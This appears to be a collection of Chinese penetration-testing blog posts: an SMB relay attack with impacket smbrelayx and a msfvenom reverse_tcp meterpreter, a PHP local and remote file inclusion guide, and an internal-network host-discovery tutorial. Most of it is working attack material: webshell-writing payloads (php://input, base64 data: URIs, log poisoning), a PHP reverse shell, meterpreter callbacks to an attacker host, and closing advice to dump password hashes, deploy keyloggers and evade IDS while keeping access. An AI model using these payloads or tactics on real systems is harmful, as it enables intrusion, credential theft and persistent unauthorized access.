1,正常情况,当client端登陆时需要先输入username,password和domain[默认是.,表示本地],之后client端会自己计算出password用DES加密后的hash,并将此hash暂时保存在本地
2,接着,client端会将自己的username明文发送给DC[server]
3,此时,DC会生成一组8字节的随机数,也叫challenge[挑战码],返回给client端
4,当client端在收到这个挑战码以后,会把先把它拷贝一份出来,然后再拿着这个挑战码和之前已经加密的密码hash再进行一次加密,加密后的东西叫response[响应],最后再将challenge,response和username一并发送给server端
5,server端在接收到client端传过来的这个三个值以后会将它们分别都转发给DC
6,DC在接收到username,response,challenge以后,会根据传过来的username,到自己的账号数据库中去查出来这个username所对应的hash,然后,再拿着这个hash和刚刚传过来的challenge再进行一次加密
7,最后,就剩比对了,把客户端传过来的response和在[6]中最后加密的hash值进行对比,如果一致,ok,认证通过,登录成功,反之,则登录失败

0x02 下面,我们就来简单再现一下smb的整个重放攻击过程:

1
client端  <-----> 攻击者 <----->  server端

和上面的拓扑基本一致,只不过在此时,在client端和server端中间多了个攻击者,但双方在整个通信过程中都并不知道攻击者的存在,此时,我们本来正常的认证过程就变成了下面的样子:
重放过程

1
2
3
4
5
6
1,client端还是正常向服务端发送登录请求,由于client端此时并不知道攻击者的存在,它以为请求是发送给了server端,但实际上它是先发给了攻击者
2,然后攻击者再拿着这个username假装成client端发送给server端,此时server端正常返回一个challenge
3,攻击者拿到这个challenge以后再把它返回给client端
4,而client端拿到challenge在本地和自己的password DES加密以后,会把这个response再次发送给攻击者,此时client依然还以为攻击者就是server端
5,最后,攻击者会拿着client端发过来的这个response再把它交给server端去验证
7,server端此时到自己的数据库中一对比,发现hash一致,认证通过,登录成功,可见,一次简易的smb中间人攻击就这样被完成了

0x03 接着就来简单模拟下如何利用这种一攻击手法:

1
2
3
4
首先,准备好三台机器,且在同一内网中,且已确保它们之间的通信没有任何问题
受害者机器[win2008R2 en] ip: 192.168.3.125
攻击者机器[ubuntu 16.04 LTS en] ip: 192.168.3.136
第三方机器[win2008R2 cn] ip: 192.168.3.23

我们最终要达成的目的,如下:

1
通过smb重放攻击,获取目标机器(192.168.3.125)的meterpreter

在攻击者的机器上准备好下面的东西,生成并监听我们的马,下载安装impacket:

1
2
3
4
5
6
7
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.136 LPORT=1234 -f exe -o /home/tools/shell.exe

msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set lport 1234
msf > set lhost 192.168.3.136
msf > exploit -j

1
2
3
4
5
6
7
8
9
10
# pip install pycrypto   安装依赖的加密库
# apt-get --reinstall install python-pyasn1 python-pyasn1-modules
# git clone https://github.com/CoreSecurity/impacket.git
# chmod -R 755 impacket
# cd impacket/
# python setup.py install
# cd examples/
# python smbrelayx.py -h
-h 指定要攻击的机器
-e 当认证成功以后,指定要执行的文件,一般都是我们事先准备好的马

在第三方机器上执行如下命令,向攻击者传送smb流量,注意,我这里的账号密码其实就是192.168.3.125正确的系统账号密码:

1
# net use \\192.168.3.136\c$ "lala!@#45" /user:"administrator"

往攻击机上执行net use

此时,当我们再回到攻击机上时就可以看到,当别人net use到攻击机上时,攻击者很轻易就捕捉到了smb 的登录凭证hash,然后,它又接着拿着这个hash到192.168.3.125[也就是我们的目标机器]去尝试登录,其实这就是所谓的重放,一旦登录成功,就会自动执行我们的马[类似我们用wmic远程执行代码]

1
# python smbrelayx.py -h 192.168.3.125 -e /home/tools/shell.exe

重放过程

可以看到,当我们重放登录成功,文件就会被正常执行,meterpreter亦被正常弹回


我们现在可以再试下,如果此时net use的密码不对,又会出现什么样的状况,很显然,下面的结果已经说的很清楚了,尝试在192.168.3.125上重放时失败了,原因也已经很清楚了,密码不对,马自然也就执行不了,因为根本没法wmic

1
net use \\192.168.3.136\c$ "a!@#45" /user:"administrator"



过程中需要注意的一些点:
    你可能一直在疑惑的是,受害者怎么会自己傻到net use到攻击者的机器上呢,没错,正常情况下肯定不会,如果想让同内网下别的机器上的流量流过自己,无非就是通过欺骗,因为smbrelayx本身并没有带类似的功能,所以,它并不能自动抓取内网中的所有smb流量,如果想让所有的流量都自动流过攻击者的机器,可能还需要配合Responder来一起实现,这里只是为了给大家看下攻击后的效果,所以,我的net use 就直接指向了攻击机,这样一来smb流量自然就能流过它[攻击机]了,当我们直接net use到攻击机时,其实我们的smb hash也会一并发送给它,然后脚本会拿着这个hash到目标机器上去认证,认证成功后即可执行我们的马,此时meterpreter正常弹回,如果认证失败,则不进行任何操作,注意,因为我这里只是测试,实际中你是几乎不可能指望别人直接net use到攻击机上的,还是那句话,这就需要你配合欺骗来一起利用,让所有的smb流量都经过你,然后抓取里面的登录凭证挨个到目标机器上去重放

小结:
    单从攻击的原理上来讲,其实非常简单,也并非什么新技术,类似的重放不仅仅适用于内网,web也同样适用,言辞比较粗糙,只是想把原理尽量跟大家说明白,既然已经有人帮我们实现了这样的脚本,我们就省的自己重复造轮子了,后期还会单独说明如何配合Responder全自动定向攻击特定内网机器,细心的朋友可能会发现,smb中间人,似乎跟,hash传递,票据窃取……都是非常类似的攻击手法,至于漏洞危害个人觉得还是比较大的,尤其是在windows内网中[比如域],因为它不是靠漏洞来攻击的,基于这个思路演变出来的攻击手法其实还有非常多,任何能产生smb登录的条件你甚至都可以利用,篇幅原因就先说到这里吧,个人理解可能比较有限,欢迎大家一起来深入讨论,始终坚信,抛砖才能引玉


centOS7_x64 + php7.1.9 + Mysql 5.7.18 + Nginx-1.12.1


一、首先,部署nginx

0x01 依旧接着我们之前准备好的系统继续,首先,将所有准备安装的软件包上传至服务器,软件包列表如下:

1
2
3
4
libiconv-1.14.tar.gz
mysql-5.7.18-linux-glibc2.5-x86_64.tar.gz
nginx-1.12.1.tar.gz
php-7.1.9.tar.gz

此次要实现的大致架构如下:

1
centOS7 + php7.1.9 + mysql 5.7.18 + nginx-1.12.1

Read More >>>


env

centOS7_x64 + Httpd 2.4.27 + Mysql 5.7.18 + Php 7.1.9



一、首先,部署apache

0x01 关于centOS7的安装就不细说了,依然是最小化安装,只勾选必要的系统库及常用工具,务必记得先禁用selinux和系统防火墙,此次部署环境软件包如下:

1
2
3
4
5
6
7
apr-1.6.2.tar.gz
apr-util-1.6.0.tar.gz
cronolog-1.6.2.tar.gz
httpd-2.4.27.tar.gz
libiconv-1.14.tar.gz
mysql-5.7.18-linux-glibc2.5-x86_64.tar.gz
php-7.1.9.tar.gz

要实现的架构大致如下:

1
centOS7_x64 +  httpd 2.4.27 + mysql 5.7.18 + php 7.1.9

Read More >>>


env

Php 包含利用小记 [ RFI / LFI ]

0x01 下面是常用的一些php包含函数,没列完,详细用法大家还是自己看手册吧,上面说的比较详细:

1
2
3
4
5
6
7
inluce()
inluce_once()
require()
require_once()
fopen()
readfile()
……

0x02 php本地包含简单利用过程[LFI]:

1), 搜集各种目标服务器的各种敏感路径,后面可能会利用到这些,这里写的不全,有整理好的fuzzdb,大家可以参考那个:

win 各类敏感文件路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
c:\WINDOWS\system32\eula.txt
c:\boot.ini
c:\WINDOWS\win.ini
c:\WINNT\win.ini
c:\WINDOWS\Repair\SAM
c:\WINDOWS\php.ini
c:\WINNT\php.ini
c:\Program Files\Apache Group\Apache\conf\httpd.conf
c:\Program Files\Apache Group\Apache2\conf\httpd.conf
c:\Program Files\xampp\apache\conf\httpd.conf
c:\php\php.ini
c:\php5\php.ini
c:\php4\php.ini
c:\apache\php\php.ini
c:\xampp\apache\bin\php.ini
c:\home2\bin\stable\apache\php.ini
c:\home\bin\stable\apache\php.ini
c:\Program Files\Apache Group\Apache\logs\access.log
c:\Program Files\Apache Group\Apache\logs\error.log

linux 各类敏感路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/var/log/apache2/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/error_log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_ log
/usr/local/apache/logs/access. log
/var/log/apache/access_log
/var/log/apache2/access_log
/var/log/apache/access.log
/var/log/access_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log

高权限的情况下,可以先顺便看看目标系统的各类系统配置文件,说不定在这里就已经有收获了,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/net/fib_trie
/proc/version
/proc/self/environ
c:\WINDOWS\TEMP\
c:\php\sessions\
c:\php5\sessions\
c:\php4\sessions\
/etc/issue
/etc/motd
/etc/passwd
/etc/group
/etc/resolv.conf
/etc/shadow
.htaccess
config.php
authorized_keys
id_rsa
id_rsa.keystore
id_rsa.pub
known_hosts
.bash_history
.mysql_history
.my.cnf

2),选择要包含的对象:

普通权限下的包含:

利用php的各种伪协议[主要是控制文件流输出即写文件,可能你还要对你所要写的那个目录有写权限才行] ,利用条件[这些信息全部可以在phpinfo中看到]:

1
2
小于5.0 即使allow_url_include=Off 可用
大于5.0 只有allow_url_fopen=on才能用



利用 php://input 写shell

1
2
http://192.168.3.10/bWAPP/rlfi.php?language=php://input&action=go
POST: <?php fputs(fopen("HELPS.php","a"),'<?php $sl = create_function("", @$_REQUEST["request"]);$sl();?>') ?>


利用 data: 写shell

1
2
<?php fputs(fopen("HELPS.php","a"),'<?php $sl = create_function("", @$_REQUEST["sec"]);$sl();?>') ?>  编码前的webshell
http://192.168.3.10/bWAPP/rlfi.php?language=data:text/plain,<?php fputs(fopen("infos.php","a"),'<?php $sl = create_function("", @$_REQUEST["klionsec"]);$sl();?>') ?>&action=go


1
http://192.168.3.10/bWAPP/rlfi.php?language=data:text/plain;base64,PD9waHAgZnB1dHMoZm9wZW4oIkhFTFBTLnBocCIsImEiKSwnPD9waHAgJHNsID0gY3JlYXRlX2Z1bmN0aW9uKCIiLCBAJF9SRVFVRVNUWyJzZWMiXSk7JHNsKCk7Pz4nKSA/Pg==&action=go


利用 php://filter 读取目标敏感文件 [可以是相对,绝对和远程路径{ftp,http}]

1
http://192.168.3.10/bWAPP/rlfi.php?language=php://filter/resource=./admin/settings.php&action=go  最好不要用这个,貌似不能写,读不出来

1
2
把读出来的内容base64解码一下,就可以看到明文内容了
http://192.168.3.10/bWAPP/rlfi.php?language=php://filter/convert.base64-encode/resource=./admin/settings.php&action=go

利用 zip:// 传shell

1
http://192.168.3.10/bWAPP/rlfi.php?language=zip://./options.zip%23options&action=go  这里的#务必要转成url编码后的%23,自己本地测时候不太靠谱

利用 phar:// 原理同上

1
http://192.168.3.10/bWAPP/rlfi.php?language=phar://./ex.phar%23ex&action=go 也不太好使

利用 expect://ls 可直接执行系统命令,自己多次尝试并未成功,且默认该模块是没有启用的

尝试把一句话放到user-agent或者请求里面 [注意编码,用burp拦下改过来或者直接用nc就好了],然后想办法去包含目标的web访问日志文件
前提是你要找到这些日志文件的物理路径才行],另外,还有一点需要说明下,对于一些正常企业的web服务器来讲,他们的日志一般都是按日期切割保存的,即使被你侥幸猜到了访问日志的文件名,但单个日志文件也仍然是比较大的,显然,这时再去包含日志就很不明智了
说这个,并不是想说这种方法不管用,实际渗透你要按你自己目标的实际情况来,对了,顺便再补充一句,虽然,访问日志的文件很大,但你还可以包含错误日志呀

1
2
3
4
5
6
# nc 192.168.3.10 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1 这里不一定非要用一句话,你还是尝试把它直接换成一个上传表单或者直接从远程下载webshell也是可以的
Host: 192.168.3.10
Connection: close

http://192.168.3.10/bWAPP/rlfi.php?language=/var/log/apache2/access.log&action=go&cmd=w


跟包含日志差不你也可以把一句话放到user-agent中然后包含/proc/self/environ这个系统环境变量,用法同上,不再赘述

尝试包含服务端的session文件,想要包含session,你务必要先确定这个session的文件名,不出意外的情况下,这个session文件名应该是PHPSESSID加上’sess_’前缀,一般会被放到下面的这里目录中,另外,利用的时候动作务必要快,因为一个session 如果长时间没动作,很快就会被回收[php自身的垃圾回收机制]

1
2
3
4
5
可能存放session的一些目录:
/var/lib/php5/
/var/lib/php/
/tmp/
……

session 内容一般都是类似下面的这种形式,不过前提是你要能控制这段session才行:

1
2
login|s:3:"bee";admin|s:1:"1";token|s:40:"c0c7fa8b6d373ad173fe7d99019a183d3bd3d888";amount|i:1000;
http://192.168.3.10/bWAPP/rlfi.php?language=/var/lib/php5/sess_b449542fdbd76c4e860e6ea34a3c46a2&action=go&cmd=id

包含自己上传到目标机器的的其他文件 [如,图片马(不一定非要用真正的图片马,如果验证不是很严,随便一个shell改下后缀就好了),txt,附件……]

1
http://192.168.3.10/bWAPP/rlfi.php?language=/var/www/shell.jpg&action=go&cmd=id

通过目标邮件来反弹shell [实际渗透中暂时还没尝试过,本地也未成功,后期搞清楚问题在哪里,再更新上来]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# smtp-user-enum -M VRFY -U /home/weak_wordlist/userall.txt -t 192.168.3.10  先来枚举下目标系统有哪些用户
# telnet 192.168.3.10 25
HELO localhost
mail from:<root>
rcpt to:<www-data>
data

<?php
set_time_limit(0);
$VERSION = "1.0";
$ip = "192.168.3.9";
$port = 80;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

配合phpinfo来包含,其实也是包含临时文件的一种方法,可惜没有成功,初步估计是脚本的问题,后期手工再试试,成功以后会把过程再更新上来

0x03 包含时经常会遇到的一些问题

1
%00 ? 后面拼接有多余的后缀,可利用各种空字节来尝试截断,当然啦,转义开关肯能需要关上, php小于 5.3.4可行

尝试超长路径截断,在正常的路径后面跟上超长字符,可用.小于5.2.8,如下:

1
2
3
/var/log/apache2/error.log.........................................................................................
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../var/log/apache2/error.log
/var/log/apache2/error.log/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../

有时候可能会有过滤路径分隔符的问题,可以尝试用%2F代替

如果后端是类似白名单的检查,就不太好过了,正在学习中……希望表哥们能多多提携

问题其实还有很多很多,正在学习中,待续……

0x04 php远程包含[RFI]:

1
2
3
利用条件:
allow_url_fopen=On
allow_url_include=On

简要利用过程[基本同上,同样,如果是那种白名单的检查,想过还是比较难的]:

1
http://192.168.3.10/bWAPP/rlfi.php?language=http://192.168.3.9/phpinfoupload.html&action=go

0x05 最后,还有一个比较好用的利用方式,就是直接利用msf的php payload 弹回一个meterpreter的shell,有一个功能完备的shell这是我们所期望的:

先装个小工具,等会儿要用到

1
2
3
# apt-get install xclip -y
# alias pbcopy='xclip -selection clipboard'
# alias pbpaste='xclip -selection clipboard -o'

先用msf生成好php的payload,之后稍微处理下

1
2
# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.3.9 LPORT=53 -f raw > shell.php
# cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

本地监听准备先准备好

1
2
3
4
5
6
# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.3.9
msf exploit(handler) > set lport 53
msf exploit(handler) > exploit -j

这时尝试包含我们msf的php shell,访问之后,shell顺利弹回,注意,这期间浏览器会一直处于阻塞状态,直到会话断开,粗略的看了一眼代码,应该是在用php循环的发socket,这个shell应该比菜刀的一句话强多了吧


后话:
    以后文章中的所有漏洞利用过程,尽量会全部在本地搭环境重现[其实,实际渗透跟这个也差不太远,主要是可能会出各种各样的问题,仅仅就差那个解决问题的过程没掌握到而已],公开的东西,用实例始终是不太好的,大家谅解哈,关于php包含实际渗透中能用到的,我自己所知道的可能就这些了,希望表哥们能把自己压箱底的家伙都共享出来,小弟好多多学习……


如何在目标内网中发现更多存活主机 [Arp,icmp,tcp/udp,smb,snmp ...]



0x01 基于不同平台下的各种arp扫描方法
    首先,尝试基于arp的各种内网主机发现方式,它可以轻易bypass掉各类应用层防火墙,这是大家都知道的,如果是专业的arp防火墙,呵呵……

0x02 在win下进行各种arp扫描:

1
# start /b arpscan.exe -t 192.168.3.0/24 >> result.txt

''

利用powershell脚本进行arp扫描,这也是个人比较推荐的方式,轻量且免杀效果较好,系统自带,灵活方便:

1
# powershell.exe -exec bypass -Command "Import-Module C:\Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.3.0/24"  >> result.txt

''

说到powershell 这里就不得不顺带提下empire,它里面同样提供了用于arp扫描的模块,而且比msf的arp更好用[一款优秀的域内网渗透框架,经常进行win内网渗透的朋友,应该用的非常多,这里就不多说了]:
''

使用老旧的nmap,另外在win下使用,可能需要你先装好所需的win运行库和npcap,在安装该库的时候,默认选项即可,注意,如果是在中文系统中安装还有点儿问题,推荐用英文系统,所需的所有依赖库在nmap程序包中都已自带,说实话,个人并不建议直接把nmap丢到目标机器上用,没有图形界面的情况下安装依赖库还是比较麻烦的,另外,如果仅仅是存活扫描,它肯定也不会是首选,起码不是自己的首选:

1
# nmap -sn -PR  192.168.3.0/24  以arp的方式扫描

''

在cain中也带了arp扫描功能,虽然,工具已经n年没有更新过了,但依然经典,建议在03以下的系统使用,另外,它需要免杀:
''

0x03 在 linux 下进行 arp 扫描 :
    其实,在一些主流的linux发型版软件包中已经默认自带了nmap,不过是5.0版本的,一般的运维可能也不会装,所以还是自己动手编译装下吧,这里顺便多一嘴,在目标机器上安装工具,尽量源码编译安装,走的时候,相对容易处理干净:

1
2
3
4
5
6
7
8
9
10
11
# wget https://nmap.org/dist/nmap-7.40.tar.bz2
# bzip2 -cd nmap-7.40.tar.bz2 | tar xvf -
# cd nmap-7.40
# ./configure 这里可以用--prefix指定安装路径
# echo $?
# make
# make install
# echo $?
# make install
# echo $?
# nmap -sn -PR 192.168.3.0/24 尝试arp扫描

''

编译安装arpscan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# unzip arpscan.zip
# cd arpscan
# autoreconf --install
# ./configure 工具依赖libpcap库,这里需要先把库装好
# wget http://www.tcpdump.org/release/libpcap-1.1.1.tar.gz
# tar -zxvf libpcap-1.1.1.tar.gz
# cd libpcap-1.1.1
# ./configure
# echo $?
# make && make install
# echo $?
# cd ..
# ./configure 再次执行检测
# echo $?
# make
# echo $?
# chmod -R 755 ./* 先给下权限,不然执行检测时无法通过
# make check
# make install
# echo $?
# arp-scan --interface=eth3 --localnet 扫描指定网卡的网段

''

0x04 其它的一些arp扫描方法:
    如果你直接就处在别人的vpn内网中,也可以选择用netdiscover(kali自带),指定那个vpn内网的网卡接口进行arp扫描即可,速度还行

1
# netdiscover -r 192.168.3.0/24 -i eth0

''

使用msf内置的各种arp扫描模块,还是那句话,如果你目前已经直接处在对方的内网环境中,可以直接用下面的模块

1
2
3
4
5
6
7
8
msf > use  auxiliary/scanner/discovery/arp_sweep
msf > show options
msf > set interface eth0
msf > set smac 00:0c:29:92:fd:85
msf > set rhosts 192.168.3.0/24
msf > set threads 20
msf > set shost 192.168.3.28
msf > run

''

如果你只是拿到对方内网中的一个meterpreter,也可以用meterpreter中内置的arp扫描模块,不过在此之前,你可能还需要在中间先添加一条路由:

1
2
3
meterpreter > getsystem 	另外,在目标机器上扫描时,务必先提权,纯属个人建议,会方便很多,不然扫描过程中可能会有些问题
meterpreter > run autoroute -s 192.168.244.0/24
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.3.0/24

''



0x05 基于icmp的各种内网主机发现方式,如果防火墙过滤的icmp请求,这种方式基本就废了,不过如果是在域还是挺好使的:

0x06 在win下进行各种icmp扫描:

cmd中执行如下命令,对整个C段进行ping扫描

1
# for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL=" >> result.txt   扫描从1到254这么多台机器

''

nmap中同样也提供了基于icmp的扫描方式,PE就是最普通的icmp echo request,另外,还有基于timestamp和netmask request discovery的icmp扫描方式

1
# nmap -sn -PE 192.168.3.0/24

''

使用nping,在nmap程序包中一般也会自带,win下使用暂时还有些儿问题,工具也比较老了,不多说

1
# nping --icmp --icmp-type time 192.168.3.0/24 | findstr "reply"

''

利用powershell对目标内网进行icmp扫描

1
# powershell.exe -exec bypass -Command "Import-Module C:\Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.3.1 -EndAddress 192.168.3.254 -ResolveHost -ScanPort -Port 21,22,23,25,53,80,81,82,83,84,85,86,87,88,89,110,111,143,389,443,445,873,1025,1433,1521,2601,3306,3389,3690,5432,5900,7001,8000,8080,8081,8082,8083,8084,8085,8086,8087,8089,9090,10000"    目标网段,并非仅限C段,比如你也可以写成这种方式192.168.3.1 - 192.168.31.254

''

0x07 在linux下使用各类icmp扫描:
最简单的方式,将下面的代码保存至shell中,赋予其执行权限,执行该脚本即可

1
2
3
4
5
6
7
8
#!/bin/bash
for ip in 192.168.3.{1..254}
do
ping $ip -c 1 &> /dev/null
if [ $? -eq 0 ];then
echo $ip is alive ....
fi
done

''

同上,依然可以使用nmap的icmp扫描

1
# nmap -sn -PE 192.168.3.0/24

''

使用nping,用法依然是跟上面一致

1
# nping --icmp --icmp-type time 192.168.3.0/24 | grep "reply"

''

0x07 基于smb和netbios的内网主机发现方式,这种方式通常在win内网中非常实用:
win下:

1
# nbtscan.exe -m  192.168.3.0/24   非常经典的小工具

''

linux下:

1
2
3
4
5
6
# wget http://www.unixwiz.net/tools/nbtscan-source-1.0.35.tgz
# tar -zxvf nbtscan-source-1.0.35.tgz
# make
# echo $?
# ./nbtscan -h
# ./nbtscan -m 192.168.3.0/24

''

其它的一些smb发现方式:

通过已经弹回的meterpreter,在目标机器上添加路由之后,使用smb_version模块亦可实现同样的目的:

1
/auxiliary/scanner/smb/smb_version

''

0x08 基于常规tcp/udp端口扫描的内网主机发现方式,还是那句话,如果防火墙或者其他防护系统阻隔了对某些端口方法,依然是个废:

scanline tcp/udp端口扫描,非常经典的小工具,单文件,实际渗透中比较方便:

1
2
# sl -htz 192.168.3.1-160   默认不指定端口的情况下,会按它自己的高危来扫,至于扫哪些端口,请自行查看mcafee官网
# sl -hz -t 21,22,23,25,53,80-89,110,111,143,389,443,445,873,1025,1433,1521,2601,3306,3389,3690,5432,5900,7001,8000,8080-8089,9090,10000 -u 161 192.168.3.1-160 >> result.txt

''

nmap tcp/udp端口扫描:

1
# nmap --script smb-enum-shares.nse -p445 192.168.3.0/24  扫描可读写共享,能力非常有限,已经有很多更好的替代品

''

superscan tcp/udp端口扫描:
纯图形化界面,使用非常简单,另外,它也可以专门用来枚举特定机器的信息,只是用于枚举的时候,不能直接指定网段,简直可惜
''

msf中也内置了各种各样的服务端口扫描模块,不过,你可能需要先提权然后添加路由才可以正常使用,当然,如果你直接处在对方内网中就不用了:

1
2
3
4
5
6
msf > use auxiliary/scanner/portscan/*
msf > use auxiliary/scanner/smb/*
msf > use auxiliary/scanner/smtp/*
msf > use auxiliary/scanner/snmp/*
msf > use auxiliary/scanner/telnet/*
……

''

另外,还有个非常不错的py小脚本F-NAScan,速度很快,在linux内网机器上会非常好用[前提是要对应版本的py环境才行]

1
# python F-NAScan.py -h 192.168.3.1-192.168.3.250 -p 21,22,23,25,53,80,81,82,83,84,85,86,87,88,89,110,111,143,389,443,445,873,1025,1433,1521,2601,3306,3389,3690,5432,5900,7001,8000,8080,8081,8082,8083,8084 -m 30 -t 5

''

0x09 如果你当前shell权限确实很有限或由于其它各种各样的原因导致我们暂时没法代理进内网,借助web脚本实现对内网进行窥探无疑是个非常好的方式:

基于 aspx 的内网存活探测脚本:
''

基于 php 的内网存活探测脚本:
''

基于 jsp 的内网存活探测脚本:
''

0x10 在域内环境下的主机发现方式,一般在域内,各种条件相对来说还是比较宽松的,因为大多数都可能是办公网:

1
2
# net view
# dsquery computer 其实,域内最好用的外部也就是nbtscan了

''

0x11 基于snmp的内网信息搜集方式:

1
待续……

0x12 最后,再介绍个好玩的ip流量监控小工具

1
iptraf

一个查端口对应的服务的小工具,有兴趣可自行尝试

1
whatportis



小结:
    所有的扫描,有条件的情况下务必都在管理员权限下运行,对于内网主机发现,个人平时大概用到的,基本也就这些了,只不过在实际扫的时候,记得线程给的不要太高,一次扫的端口不要过多,如果工具里面自带的有随机扫ip的选项,最好也把它加上,另外,在内网中,理论上来讲,你应该首先瞄准找一些能快速getshell的内网机器,比如,sa,smb,ftp针对linux,能读写的匿名共享等……严禁大规模漫无目的的扫描,当你拿到一台机器以后,马上上去把能抓的密码hash都抓一下,比如,浏览器中的各种密码,本机的hash,常用软件中的各种密码hash等等……,实在不行再上键盘记录,拿到这些密码以后再慢慢拓展其它机器,切记,尽量不要进行长时间大流量的扫描动作基本上我们现在所用的工具报文标志早已被写进各类ids的识别规则里了,尤其是针对nmap的,会在对方系统中留下大批的扫描日志不说,稍微严谨点儿的内网可能会触发报警,甚至直接锁定ip,内网不比web,在web中你也许可以相对放开点去搞,但内网中,务必小心谨慎,权限来之不易,绝对不能让它轻易的掉了,尽你所能的稳住当前机器,另外,在平时的内网渗透中,能用系统自身工具搞定的,尽量都用系统自带的工具来搞其实,系统自己就已经有非常多的渗透工具,可能只是暂时还没有很好的被发掘出来,这一点非常重要,大家从现在开始,也应该尽量养成自己这样的习惯,尽可能的减少使用一些外部工具,越少越好,安全性没法保障的同时,可能实际使用中也并不是很方便,灵活性就更不用说了,尤其在一些比较畸形的内网中,由于种种限制,从远程下工具还是比较困难的,另外,别人的工具很可能有相当一部分工具都是需要自己免杀的单单基于汇编层免杀还是很有限的,如果你不会免杀,这事儿就很麻烦了,毕竟不是源自自己的手,用别人的始终不太放心,所以,有些东西还是大家自己考量吧……这里只是一点个人建议而已,当然,如果你有喜欢逆别人工具的习惯,这里所说的一切,您都可以直接忽略,如果自己不会逆向,还是谨慎点儿好,如果你想更仔细的去观察基于不同协议更底层的扫描细节,用wireshark吧,它绝对是我见过的最牛最实用的渗透工具,是的,没有之一,祝,愉快